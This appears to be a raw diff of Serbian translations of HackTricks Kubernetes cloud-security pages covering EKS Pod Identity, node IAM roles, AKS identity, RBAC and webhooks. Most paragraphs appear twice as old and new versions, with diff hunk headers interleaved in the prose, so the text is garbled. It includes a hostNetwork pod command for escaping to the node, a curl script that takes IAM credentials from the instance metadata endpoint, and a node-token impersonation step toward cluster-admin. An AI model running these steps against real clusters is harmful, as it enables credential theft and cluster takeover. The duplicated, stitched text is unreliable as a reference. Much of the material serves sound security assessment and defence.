Pod Identity roles obično trustuju `pods.eks.amazonaws.com` service principal za `sts:AssumeRole` i `sts:TagSession`. Pregledaj trust-policy uslove na request tags kao što su `kubernetes-namespace`, `kubernetes-service-account`, i cluster tags, jer široki uslovi mogu učiniti reusable role dostupnim prevelikom broju service accounts. Pod Identity takođe dodaje session tags u temporary credentials, i ti tags mogu pokretati ABAC policies kao što su resource access baziran na `${aws:PrincipalTag/kubernetes-namespace}` ili `${aws:PrincipalTag/kubernetes-service-account}`.
Za cross-account access, Pod Identity association može koristiti same-account role koja se chainuje u target role u drugom accountu. U tom slučaju, pregledaj oba sloja: EKS association role i target role trust/policy. Pod Identity session tags su transitive kroz role chain, pa su korisni dokaz za pokazivanje koji cluster namespace i service account je pristupio remote accountu.
> [!WARNING]
> Ako možeš da kreiraš ili menjaš pods koji koriste service account sa EKS Pod Identity association, testiraj da li taj pod dobija korisne AWS permissions. Ako braniš sistem, alertuj na nove pod identity associations, neočekivanu upotrebu service accounts, i AWS API pozive iz role-ova koji bi trebalo da se koriste samo od strane specifičnih workloads.
### EKS governance guardrails
Kada proveravaš EKS sa AWS strane, zapamti da IAM i AWS Organizations guardrails mogu da odbiju unsafe cluster configuration čak i kada principal ima široko izgledajuće EKS permissions. Nedavni EKS condition keys pokrivaju cluster settings kao što su public ili private endpoint access, Kubernetes version, secrets-encryption KMS keys, deletion protection, control-plane scaling tier, i zonal shift configuration. Ovi keys mogu da se koriste u IAM policies ili Service Control Policies da bi se sproveo account-wide cluster baselines.
Ovo je bitno i za attack impact i za triage. Ako principal može da pozove `eks:UpdateClusterConfig` ali SCP odbija enabling public endpoint kroz `eks:endpointPublicAccess`, prijavi pokušanu rizičnu akciju i guardrail koji ju je blokirao umesto da tvrdiš da je public API exposure ostvaren. Za defendere, alertuj i na denied EKS configuration changes i na uspešne promene, jer denied attempts mogu otkriti compromised automation, stale admin roles, ili reconnaissance pre pivot-a na manje zaštićen account.
Korisne reference:
- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html)
- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html)
### Find Pods a SAs with IAM Roles in the Cluster
Ovo je script za lako **iteriranje kroz sve podove i sas** definicije **u potrazi** za tom **anotacijom**:
Ovo je script za lako **iterate over the all the pods and sas** definitions **looking** for tu **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -255,26 +298,26 @@ done | grep -B 1 "amazonaws.com"
```
### Node IAM Role to cluster-admin
Prethodni deo je bio o tome kako ukrasti IAM Roles pomoću pods, ali imajte na umu da će **Node od** K8s cluster-a biti **instance unutar cloud-a**. To znači da je veoma verovatno da će Node **imati IAM role koju možete ukrasti** (_napomena: obično će svi node-ovi K8s cluster-a imati istu IAM role, pa možda ne vredeti pokušavati da proveravate svaki node_).
Prethodni odeljak je bio o tome kako da se ukradu IAM Role sa podovima, ali imajte na umu da će **Node u** K8s clusteru biti **instanca unutar cloud-a**. To znači da je veoma verovatno da će Node **imati IAM role koju možete ukrasti** (_napomena: obično će svi node-ovi K8s cluster-a imati istu IAM role, pa možda nije vredno pokušavati da proveravate svaki node_).
Da biste pristupili metadata endpoint-u node-a, potrebno je da:
- Budete u pod-u i da je metadata endpoint konfigurisan na najmanje 2 tcp hops. Ovo je najčešća pogrešna konfiguracija, jer će obično različiti pods u cluster-u zahtevati pristup metadata endpoint-u da ne bi došlo do prekida rada, a mnoge kompanije jednostavno odluče da dozvole pristup metadata endpoint-u iz svih pods u cluster-u.
- Budete u pod-u i da je metadata endpoint podešen na najmanje 2 tcp hops. Ovo je najčešća misconfiguration, jer će obično različiti pod-ovi u cluster-u zahtevati pristup metadata endpoint-u da se ne bi prekinuo rad, a nekoliko kompanija jednostavno odluči da dozvoli pristup metadata endpoint-u sa svih pod-ova u cluster-u.
- Budete u pod-u sa omogućenim `hostNetwork`.
- Pobegnete na node i direktno pristupite metadata endpoint-u.
(Imajte na umu da je metadata endpoint, kao i uvek, na 169.254.169.254).
(Imajte na umu da je metadata endpoint na 169.254.169.254 kao i uvek).
U novijim EKS okruženjima, proverite node i cluster mode pre nego što pretpostavite da pods mogu da dohvate node instance profile. Amazon Linux 2023 EKS optimized AMIs podrazumevano postavljaju IMDS hop limit na 1, a EKS Auto Mode podrazumevano omogućava `disablePodIMDS`, tako da obični pods ne bi trebalo da dobiju node-role credentials osim ako je operator promenio te postavke ili pod ima neki drugi node-level put kao što je `hostNetwork` ili compromise node-a. Preporučeni pattern je da se blokira pristup pod-a node IMDS-u i da se koriste IRSA ili EKS Pod Identity za AWS permissions workload-a.
U novijim EKS okruženjima, proverite node i cluster mode pre nego što pretpostavite da pod-ovi mogu da dosegnu node instance profile. Amazon Linux 2023 EKS optimized AMIs podrazumevano postavljaju IMDS hop limit na 1, a EKS Auto Mode podrazumevano omogućava `disablePodIMDS`, tako da obični pod-ovi ne bi trebalo da dobiju node-role credentials osim ako je operator promenio te postavke ili pod ima drugi node-level put, kao što je `hostNetwork` ili compromise node-a. Preporučeni pattern je da se blokira pristup pod-ova node IMDS-u i da se koriste IRSA ili EKS Pod Identity za AWS permissions workload-a.
Da biste **pobegli na node** možete koristiti sledeću komandu da pokrenete pod sa omogućenim `hostNetwork`:
Da biste **pobegli na node**, možete koristiti sledeću komandu da pokrenete pod sa omogućenim `hostNetwork`:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Ukradi IAM Role Token
Prethodno smo razgovarali o tome kako da **prikačiš IAM Roles na Pods** ili čak kako da **pobegneš na Node da ukradeš IAM Role** koju instance ima dodeljenu.
Prethodno smo razgovarali o tome kako da **attach IAM Roles to Pods** ili čak kako da **escape to the Node to steal the IAM Role** koji je instance attached to it.
Možeš da koristiš sledeći script da **ukradeš** svoje novo teško stečene **IAM role credentials**:
Možeš koristiti sledeći script da **steal** svoje nove teško stečene **IAM role credentials**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
@@ -287,11 +330,11 @@ fi
```
### Privesc to cluster-admin
Ukratko: ako je moguće **access EKS Node IAM role** iz poda, moguće je **compromise the full kubernetes cluster**.
Ukratko: ako je moguće **access EKS Node IAM role** iz pod-a, moguće je **compromise-ovati ceo kubernetes cluster**.
Za više informacija pogledaj [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Ukratko, podrazumevani IAM EKS role koji je dodeljen EKS node-ovima po defaultu dobija role `system:node` unutar clustera. Ovaj role je veoma interesantan, iako je ograničen kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
Za više informacija pogledaj [ovaj post](https://blog.calif.io/p/privilege-escalation-in-eks). Ukratko, podrazumevana IAM EKS role koja se po defaultu dodeljuje EKS node-ovima dobija `system:node` role unutar cluster-a. Ova role je veoma zanimljiva iako je ograničena kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
Međutim, node uvek može **generate tokens for service accounts** koji rade u podovima unutar node-a. Dakle, ako node pokreće pod sa privilegovanim service account-om, node može da generiše token za taj service account i da ga koristi da impersonate service account kao u:
Međutim, node uvek može da **generate tokens for service accounts** koji rade u pod-ovima unutar node-a. Dakle, ako node pokreće pod sa privileged service account-om, node može da generiše token za taj service account i da ga koristi da impersonate-uje service account kao u:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
@@ -300,11 +343,11 @@ kubectl --context=node1 create token -n ns1 sa-priv \
```
## Azure / AKS
U AKS, držite tri identity path odvojene tokom assessment-a:
U AKS, drži tri identity putanje odvojene tokom assessmenta:
- **Azure to Kubernetes**: Azure principals mogu da preuzmu user ili admin kubeconfigs kroz Azure Resource Manager ako njihov Azure RBAC role to dozvoljava. Local admin kubeconfigs iz `az aks get-credentials --admin` su certificate-based credentials i mogu zaobići normalno Microsoft Entra user/group governance osim ako local accounts nisu disabled.
- **Microsoft Entra to Kubernetes**: Entra-integrated clusters autentifikuju users, groups ili service principals kroz `kubelogin`/exec kubeconfigs. Finalna Kubernetes akcija može biti authorized od strane native Kubernetes RBAC ili od strane Azure RBAC for Kubernetes Authorization.
- **Kubernetes to Azure**: Pods bi normalno trebalo da koriste Microsoft Entra Workload ID, koji exchanges projected Kubernetes service account tokens sa Entra kroz AKS OIDC issuer i federated identity credentials.
- **Azure to Kubernetes**: Azure principals mogu da preuzmu user ili admin kubeconfigs kroz Azure Resource Manager ako njihov Azure RBAC role to dozvoljava. Local admin kubeconfigs iz `az aks get-credentials --admin` su certificate-based credentials i mogu da zaobiđu normalno Microsoft Entra user/group governance osim ako local accounts nisu disabled.
- **Microsoft Entra to Kubernetes**: Entra-integrated clusters autentifikuju korisnike, grupe ili service principals kroz `kubelogin`/exec kubeconfigs. Konačna Kubernetes akcija može biti autorizovana od strane native Kubernetes RBAC ili od strane Azure RBAC za Kubernetes Authorization.
- **Kubernetes to Azure**: Pods bi normalno trebalo da koriste Microsoft Entra Workload ID, koji razmenjuje projected Kubernetes service account tokens sa Entra kroz AKS OIDC issuer i federated identity credentials.
Korisne AKS identity checks iz Azure:
```bash
@@ -316,7 +359,7 @@ AKS_ID=$(az aks show -g <resource-group> -n <cluster> --query id -o tsv)
az role assignment list --scope "$AKS_ID" --include-inherited -o table
az role assignment list --scope "$AKS_ID/namespaces/<namespace>" -o table
```
Iz Kubernetes, traži AKS Workload ID signale:
Iz Kubernetes-a, tražite AKS Workload ID signale:
```bash
kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8
@@ -332,21 +375,43 @@ metadata:
labels:
azure.workload.identity/use: "true"
```
Ako klaster i dalje koristi zastareli Microsoft Entra pod-managed identity model, potražite stare CRD-ove i NMI/MIC komponente umesto Workload ID anotacija:
Novije AKS okruženje može da koristi **AKS Identity Bindings** (preview) da bi skaliralo Workload ID kroz mnogo cluster-a ili service account-ova bez kreiranja jednog federated identity credential po subject-u. U tom modelu, user-assigned managed identity je vezan za AKS cluster, workloads se uključuju sa `azure.workload.identity/use-identity-binding: "true"`, a Kubernetes RBAC dodeljuje `use-managed-identity` na `cid.wi.aks.azure.com` resource-ovima nazvanim po managed identity client ID-jevima. Širok `ClusterRoleBinding` ovde može da otkrije istu Azure identity većem broju namespace-ova nego što se očekuje, čak i ako direktni federated identity credential subject-i deluju usko.
```bash
az aks identity-binding list -g <resource-group> --cluster-name <cluster> -o yaml
kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12
```
Ako klaster i dalje koristi zastareli Microsoft Entra pod-managed identity model, tražite stare CRD-ove i NMI/MIC komponente umesto Workload ID anotacija:
```bash
kubectl get crd | grep -i azureidentity
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
```
AKS nodes su Azure VM scale set instanci, pa node ili host-level access može izložiti Azure Instance Metadata Service na `169.254.169.254`. Ne pretpostavljaj da bi običan pod trebalo da dobije node managed identity credentials: prvo proveri workload identity podešavanja, legacy pod identity/NMI ponašanje, upotrebu hostNetwork, network controls i pristup node-u. Ako node identity ima široke Azure permissions, compromise node-a može postati Azure pivot čak i kada je application Workload ID pravilno scoped.
AKS nodes su Azure VM scale set instance, tako da node ili host-level access može da izloži Azure Instance Metadata Service na `169.254.169.254`. Ne pretpostavljaj da bi ordinary pod trebalo da dobije node managed identity credentials: prvo proveri workload identity settings, legacy pod identity/NMI ponašanje, hostNetwork usage, network controls i node access. Ako node identity ima široke Azure permissions, compromise noda može postati Azure pivot čak i kada je application Workload ID ispravno scoped.
## References
AKS Automatic i Node Auto-Provisioning (NAP) menjaju node-side evidence koje treba da prikupiš. AKS Automatic preconfigures nekoliko production defaults, uključujući Workload ID/OIDC support, managed node pools, node resource group lockdown i managed upgrade behavior. NAP je managed Karpenter-based provisioning mode i koristi Kubernetes resources kao što su `NodePool`, `AKSNodeClass` i `NodeClaim` da odluči koji nodes se kreiraju za pending workloads. Pregledaj ko može da menja te resources, high-impact scheduling controls, privileged pods i broad tolerations; takođe proveri da li je node resource group lockdown blokirao direktne VMSS/load balancer izmene i naterao promene nazad kroz Kubernetes ili AKS APIs.
```bash
az aks show -g <resource-group> -n <cluster> \
--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \
-o yaml
kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter'
kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null
```
## Reference
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html)
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings)
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic)
- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning)
- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown)
{{#include ../../banners/hacktricks-training.md}}
@@ -4,37 +4,43 @@
## Role-Based Access Control (RBAC)
Kubernetes ima **authorization module** pod nazivom Role-Based Access Control ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) koji pomaže da se postave permissions za korišćenje API servera.
Kubernetes ima **authorization modul** nazvan Role-Based Access Control ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) koji pomaže da se postave permissions za korišćenje API servera.
RBAC permission model je izgrađen od **tri odvojena dela**:
RBAC model permissions je građen od **tri odvojena dela**:
1. **Role\ClusterRole ** Sama permission. Sadrži _**rules**_ koje predstavljaju skup permissions. Svako pravilo sadrži [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) i [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Verb je akcija koja će se primeniti na resource.
1. **Role\ClusterRole ** Sama permission. Sadrži _**rules**_ koje predstavljaju skup permissions. Svako rule sadrži [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) i [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Verb je akcija koja će se primeniti na resource.
2. **Subject (User, Group or ServiceAccount) ** Objekat koji će dobiti permissions.
3. **RoleBinding\ClusterRoleBinding ** Veza između Role\ClusterRole i subject.
![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
Razlika između “**Roles**” i “**ClusterRoles**” je samo u tome gde će se role primeniti “**Role**” će dati pristup samo jednom **specifičnom** **namespace**, dok se “**ClusterRole**” može koristiti u **svim namespaces** u clusteru. Štaviše, **ClusterRoles** mogu takođe dati pristup sledećem:
Razlika između “**Roles**” i “**ClusterRoles**” je samo u tome gde će se role primeniti “**Role**” će dati access samo u **jednom** **specifičnom** **namespace**, dok se “**ClusterRole**” može koristiti u **svim namespaces** u cluster-u. Takođe, **ClusterRoles** mogu da daju access i na:
- **cluster-scoped** resources (kao nodes).
- **non-resource** endpoints (kao /healthz).
- namespaced resources (kao Pods), **u svim namespaces**.
- **cluster-scoped** resources (kao što su nodes).
- **non-resource** endpoints (kao što je /healthz).
- namespaced resources (kao što su Pods), **u svim namespaces**.
Od **Kubernetes** 1.6 nadalje, **RBAC** policies su **enabled by default**. Ali da bi se RBAC omogućio, možeš koristiti nešto poput:
Od **Kubernetes** 1.6 nadalje, **RBAC** policies su **podrazumevano enabled**. Ali da bi se RBAC enable-ovao, možeš da koristiš nešto poput:
```
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
```
Modernni klasteri takođe mogu da konfigurišu API server authorizer chain sa `--authorization-config`, koji pokazuje na `AuthorizationConfiguration` fajl. Ovaj fajl može da definiše ordered authorizers, multiple webhook authorizers, webhook timeouts, `failurePolicy`, cache podešavanja i CEL `matchConditions` koji odlučuju koji se request-ovi šalju na webhook. Tokom security review-a, nemoj stati na `--authorization-mode` ako je `--authorization-config` prisutan: pročitaj referencirani fajl i proveri da li webhook može da fail open sa `NoOpinion`, da li match conditions preskaču sensitive resources, i da li sve API server replicas koriste ekvivalentnu authorization konfiguraciju.
Takođe proveri authentication konfiguraciju kada pregledaš anonymous API exposure. `--authentication-config` može da ograniči anonymous authenticator na specifične path-ove kao što su `/livez`, `/readyz`, i `/healthz`. Anonymous access do health endpoint-a nije isto što i anonymous access do Kubernetes resources; opasno stanje je RBAC ili authorizer path koji dozvoljava `system:anonymous` ili `system:unauthenticated` da čita ili menja real API objects.
Na kraju, tretiraj membership u `system:masters` kao cluster-admin-ekvivalent. Korisnici ili certificates u ovoj grupi imaju unrestricted API access koji zaobilazi normal RBAC i webhook authorization restrikcije, tako da identity mappings koji dodaju ovu grupu mogu biti važniji od običnog RoleBinding output-a.
## Templates
U template-u **Role** ili **ClusterRole** treba da navedete **ime role**, **namespace** (u roles) i zatim **apiGroups**, **resources** i **verbs** role:
U template-u **Role** ili **ClusterRole** biće potrebno da naznačiš **name role-a**, **namespace** (u roles) a zatim **apiGroups**, **resources** i **verbs** role-a:
- **apiGroups** je niz koji sadrži različite **API namespaces** na koje se ovo pravilo primenjuje. Na primer, definicija Pod koristi apiVersion: v1. _Može imati vrednosti kao što su rbac.authorization.k8s.io ili \[\*]_.
- **resources** je niz koji definiše **na koje resurse se ovo pravilo primenjuje**. Sve resurse možete pronaći sa: `kubectl api-resources --namespaced=true`
- **verbs** je niz koji sadrži **dozvoljene verbs**. Verb u Kubernetes definiše **tip akcije** koji treba da primenite na resource. Na primer, verb list se koristi nad kolekcijama, dok se "get" koristi nad jednim resource-om.
- **apiGroups** je niz koji sadrži različite **API namespaces** na koje se ova pravila primenjuju. Na primer, Pod definicija koristi apiVersion: v1. _Može imati vrednosti kao što su rbac.authorization.k8s.io ili \[\*]_.
- **resources** je niz koji definiše **na koje resources se ova pravila primenjuju**. Sve resources možeš da pronađeš pomoću: `kubectl api-resources --namespaced=true`
- **verbs** je niz koji sadrži **dozvoljene verbs**. Verb u Kubernetes-u definiše **tip akcije** koju treba da primeniš na resource. Na primer, verb list se koristi nad kolekcijama, dok se "get" koristi nad jednim resource-om.
### Rules Verbs
(_Ova informacija je preuzeta iz_ [_**docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
(_Ova informacija je uzeta iz_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -44,17 +50,19 @@ U template-u **Role** ili **ClusterRole** treba da navedete **ime role**, **name
| PATCH | patch |
| DELETE | delete (za pojedinačne resources), deletecollection (za kolekcije) |
Kubernetes ponekad proverava autorizaciju za dodatne dozvole koristeći specijalizovane verbs. Na primer:
Kubernetes ponekad proverava authorization za dodatne permissions koristeći specijalizovane verbs. Na primer:
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
- `use` verb na `podsecuritypolicies` resources u `policy` API group.
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
- `bind` i `escalate` verbs na `roles` i `clusterroles` resources u `rbac.authorization.k8s.io` API group.
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- `impersonate` verb na `users`, `groups` i `serviceaccounts` u core API group, i `userextras` u `authentication.k8s.io` API group.
- `impersonate` verb na `users`, `groups`, i `serviceaccounts` u core API group, i `userextras` u `authentication.k8s.io` API group.
Kubernetes v1.36 takođe uključuje **constrained impersonation** kao beta feature. Umesto da se dodeljuje samo legacy all-or-nothing `impersonate` verb, klasteri mogu da dodele mode-specific verbs kao što su `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node`, ili `impersonate:associated-node`, plus action-specific verbs kao što je `impersonate-on:user-info:list` na target resource-u. Pregledaj obe polovine: identitet koji subject može da impersonate i akcije koje može da izvršava dok impersonira. Legacy `impersonate` rules i dalje mogu da dozvole širi access, zato nemoj pretpostaviti da se constrained-looking verbs sprovode osim ako API server verzija i access-review evidence to potvrde.
> [!WARNING]
> Možete pronaći **sve verbs koje svaki resource podržava** tako što ćete izvršiti `kubectl api-resources --sort-by name -o wide`
> Možeš pronaći **sve verbs koje svaki resource podržava** izvršavanjem `kubectl api-resources --sort-by name -o wide`
### Examples
```yaml:Role
@@ -80,13 +88,13 @@ rules:
resources: ["secrets"]
verbs: ["get", "watch", "list"]
```
Na primer, možete koristiti **ClusterRole** da omogućite određenom korisniku da pokrene:
Na primer, možete da koristite **ClusterRole** da biste omogućili određenom korisniku da pokrene:
```
kubectl get pods --all-namespaces
```
### **RoleBinding and ClusterRoleBinding**
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) A **role binding grants the permissions defined in a role to a user or set of users**. It holds a list of subjects (users, groups, or service accounts), and a reference to the role being granted. A **RoleBinding** grants permissions within a specific **namespace** whereas a **ClusterRoleBinding** grants that access **cluster-wide**.
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding dodeljuje dozvole definisane u role korisniku ili skupu korisnika**. Sadrži listu subjects (users, groups, or service accounts), i referencu na role koja se dodeljuje. **RoleBinding** dodeljuje dozvole unutar određenog **namespace** dok **ClusterRoleBinding** dodeljuje taj pristup **cluster-wide**.
```yaml:RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
# This role binding allows "jane" to read pods in the "default" namespace.
@@ -122,13 +130,13 @@ kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
```
**Permissions are additive** pa ako imate clusterRole sa “list” i “delete” secrets možete ga dodati uz Role sa “get”. Zato budite oprezni i uvek testirajte svoje roles i permissions i **navedite šta je DOZVOLJENO, jer je sve po defaultu ZABRANJENO.**
**Permissions are additive** tako da ako imate clusterRole sa “list” i “delete” secrets možete ga dodati sa Role sa “get”. Zato budite oprezni i uvek testirajte svoje roles i permissions i **navedite šta je DOZVOLJENO, jer je sve po defaultu ZABRANJENO.**
### Detalji koje vredi proveriti
### Details worth checking
RBAC koristi resource names onako kako se pojavljuju u API URL-ovima, a ne YAML `kind`. Pod je `pods`, Deployment je `deployments`, a subresources se pišu sa kosom crtom kao što su `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` ili `services/proxy`. Dozvola nad `pods` ne daje automatski pristup za `pods/exec` ili `pods/log`.
RBAC koristi resource names onako kako se pojavljuju u API URL-ovima, a ne YAML `kind`. Pod je `pods`, Deployment je `deployments`, a subresources se pišu sa slash-om kao što su `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` ili `services/proxy`. Dozvola na `pods` ne daje automatski pristup za `pods/exec` ili `pods/log`.
`resourceNames` mogu da ograniče neke zahteve na konkretna imena objekata:
`resourceNames` može da ograniči neke requests na određena imena objekata:
```yaml
rules:
- apiGroups: [""]
@@ -136,17 +144,18 @@ resources: ["configmaps"]
resourceNames: ["app-config"]
verbs: ["get", "update"]
```
Ovo ne ograničava top-level `create` ili `deletecollection` po imenu. Za `list` i `watch`, klijent mora da uključi odgovarajući `metadata.name` field selector, inače taj zahtev nije autorizovan tom pravilom:
Ovo ne ograničava top-level `create` ili `deletecollection` po imenu. Za `list` i `watch`, klijent mora da uključi odgovarajući `metadata.name` field selector, u suprotnom zahtev nije autorizovan tom pravilom:
```bash
kubectl get configmaps -n default --field-selector=metadata.name=app-config
```
Koristite tačne access reviews za visokoučinkovne provere:
Koristite tačne access reviews za high-impact provere:
```bash
kubectl auth can-i create pods/exec -n default
kubectl auth can-i create serviceaccounts/token -n default
kubectl auth can-i impersonate users
kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
kubectl auth can-i impersonate-on:user-info:list pods -n default
```
## **Enumerating RBAC**
```bash
@@ -170,7 +179,7 @@ kubectl describe roles
kubectl get rolebindings
kubectl describe rolebindings
```
### Zloupotreba Role/ClusterRoles za eskalaciju privilegija
### Zloupotreba Role/ClusterRoles za Privilege Escalation
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -6,20 +6,20 @@
## Definicija
`ValidatingWebhookConfiguration` je Kubernetes resource koji registruje jedan ili više validating admission webhooks. Ovi webhooks primaju AdmissionReview zahteve od API servera nakon autentikacije i autorizacije, ali pre nego što se object persistuje.
`ValidatingWebhookConfiguration` je Kubernetes resource koji registruje jedan ili više validating admission webhooks. Ovi webhooks primaju AdmissionReview zahteve od API servera nakon authentication i authorization, ali pre nego što se objekt sačuva.
Validating webhooks mogu odbiti zahtev. Mutating webhooks, konfigurisanih sa `MutatingWebhookConfiguration`, mogu prvo da promene object. Security reviews bi obično trebalo da pregledaju oba resource-a, jer maliciozan ili slab mutating webhook može da prepiše workloads, dok validating webhook ili policy engine može da ih blokira ili dozvoli.
Validating webhooks mogu odbiti zahtev. Mutating webhooks, konfigurisani sa `MutatingWebhookConfiguration`, mogu prvo da promene objekt. Security reviews bi obično trebalo da pregledaju oba resource-a, jer malicious ili slab mutating webhook može da prepiše workloads, dok validating webhook ili policy engine može da ih blokira ili dozvoli.
## Svrha
Svrha `ValidatingWebhookConfiguration` je da definiše kada bi API server trebalo da pozove validating webhook i kako bi trebalo da obradi rezultat webhook-a. Važno security pitanje nije samo "da li je policy instaliran?", već i:
Svrha `ValidatingWebhookConfiguration` je da definiše kada API server treba da pozove validating webhook i kako treba da obradi rezultat webhooks-a. Važno security pitanje nije samo da li je policy instaliran?, već i:
- Sa kojim API groups, resources, operations i scopes se poklapa?
- Koje API groups, resources, operations i scopes poklapa?
- Koji namespaces ili objects su isključeni pomoću selectors?
- Da li `matchConditions` preskače neke request klase?
- Da li `matchConditions` preskače bilo koje request classes?
- Da li `failurePolicy` fail open sa `Ignore` ili fail closed sa `Fail`?
- Da li je webhook service dostupan, trusted od strane konfigurisanog `caBundle`, i pokreće ga service account sa visokim privilegijama?
- Da li policy engine takođe izlaže exception resources, excluded users, ili excluded groups?
- Da li je webhook service dostupan, trusted od strane konfigurisanog `caBundle`, i pokrenut od strane visoko privilegovanog service account-a?
- Da li policy engine takođe izlaže exception resources, excluded users ili excluded groups?
**Primer**
@@ -57,8 +57,8 @@ Glavna razlika između ValidatingWebhookConfiguration i policies :
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
- **ValidatingWebhookConfiguration (VWC)** : Kubernetes resource koji definiše validating webhook, server-side komponentu koja validira dolazne Kubernetes API zahteve prema skupu unapred definisanih pravila i ograničenja.
- **Kyverno ClusterPolicy**: Definicija policy koja specificira skup pravila i ograničenja za validaciju i enforcement Kubernetes resursa, kao što su pods, deployments i services
- **ValidatingWebhookConfiguration (VWC)** : Kubernetes resource koji definiše validating webhook, server-side komponentu koja validira dolazne Kubernetes API zahteve u odnosu na skup unapred definisanih pravila i ograničenja.
- **Kyverno ClusterPolicy**: definicija policy-ja koja specificira skup pravila i ograničenja za validaciju i enforcement Kubernetes resursa, kao što su pods, deployments i services
## Enumeration
```
@@ -69,34 +69,55 @@ $ kubectl get svc,deploy,pod -A | grep -i webhook
```
Polja za proveru:
